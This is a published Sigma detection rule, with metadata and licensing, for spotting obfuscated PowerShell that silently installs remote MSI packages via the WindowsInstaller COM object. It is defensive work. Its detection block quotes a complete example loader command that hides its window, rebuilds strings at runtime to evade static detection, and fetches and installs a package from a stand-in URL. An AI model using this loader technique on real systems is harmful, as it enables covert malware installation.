Sigma rule: Obfuscated PowerShell MSI Install via WindowsInstaller COM

A detection rule from the SigmaHQ repository, shown as its author published it. Dataset version ref-476c1dc9a067, updated 2025-05-27T00:00:00.000Z.

Rule

Title
Obfuscated PowerShell MSI Install via WindowsInstaller COM
Status
experimental
Level
high
Author
Meroujan Antonyan (vx3r)
Date
2025-05-27
File
rules/windows/process_creation/proc_creation_win_powershell_comobject_msi.yml
Commit
ccbb0369507f796db0b0ae6854c8a2be471b9d84

Detects the execution of obfuscated PowerShell commands that attempt to install MSI packages via the Windows Installer COM object (`WindowsInstaller.Installer`).
The technique involves manipulating strings to hide functionality, such as constructing class names using string insertion (e.g., 'indowsInstaller.Installer'.Insert(0,'W')) and correcting
malformed URLs (e.g., converting 'htps://' to 'https://') at runtime. This behavior is commonly associated with malware loaders or droppers that aim to bypass static detection
by hiding intent in runtime-generated strings and using legitimate tools for code execution. The use of `InstallProduct` and COM object creation, particularly combined with
hidden window execution and suppressed UI, indicates an attempt to install software (likely malicious) without user interaction.

Log source

product
windows
category
process_creation

Detection

# Example: "C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe" -W Hidden -C "$u='htps://example.com/';$i=New-Object -ComObject('indowsInstaller.Installer'.Insert(0,'W'));$i.UILevel=2;$i.InstallProduct($(if($u.StartsWith('htps://')){$u.Insert(2,'t')}else{$u}),'')";
selection_img:
    - Image|endswith:
          - '\powershell_ise.exe'
          - '\powershell.exe'
          - '\pwsh.exe'
    - OriginalFileName:
          - 'PowerShell_ISE.EXE'
          - 'PowerShell.EXE'
          - 'pwsh.dll'
selection_cli:
    CommandLine|contains|all:
        - '-ComObject'
        - 'InstallProduct('
        - '.Insert('
        - 'UILevel'
condition: all of selection_*

False positives (as the rule lists them)

  • Unknown

Tags

  • attack.stealth
  • attack.t1027.010
  • attack.t1218.007
  • attack.execution
  • attack.t1059.001

MITRE ATT&CK ids this rule names

References

Read on 2026-11-03T00:58:21.399Z under licence sigma-drl-1.1@d5f4c36a from https://github.com/SigmaHQ/sigma/blob/ccbb0369507f796db0b0ae6854c8a2be471b9d84/rules/windows/process_creation/proc_creation_win_powershell_comobject_msi.yml

Sources and licences

  • SigmaHQ

    "Obfuscated PowerShell MSI Install via WindowsInstaller COM" by Meroujan Antonyan (vx3r) (SigmaHQ). Rule: https://github.com/SigmaHQ/sigma/blob/ccbb0369507f796db0b0ae6854c8a2be471b9d84/rules/windows/process_creation/proc_creation_win_powershell_comobject_msi.yml.
    Licensed under the Detection Rule License (DRL) 1.1: https://github.com/SigmaHQ/Detection-Rule-License

    Detection Rule License (DRL) 1.1

Cite this page

Dragons Eye Ransomware Tracker, "Sigma rule: Obfuscated PowerShell MSI Install via WindowsInstaller COM",
entity page, dataset version ref-476c1dc9a067, updated 2025-05-27T00:00:00.000Z,
https://ransomware-tracker.com/detections/sigma/7b6a7418-3afc-11f0-aff4-000d3abf478c (accessed 2026-11-03).
Underlying source: SigmaHQ rule 7b6a7418-3afc-11f0-aff4-000d3abf478c, commit ccbb0369507f796db0b0ae6854c8a2be471b9d84.

Pages change. The dataset version identifies the data, but no archive of old versions is kept, so this citation cannot be replayed later.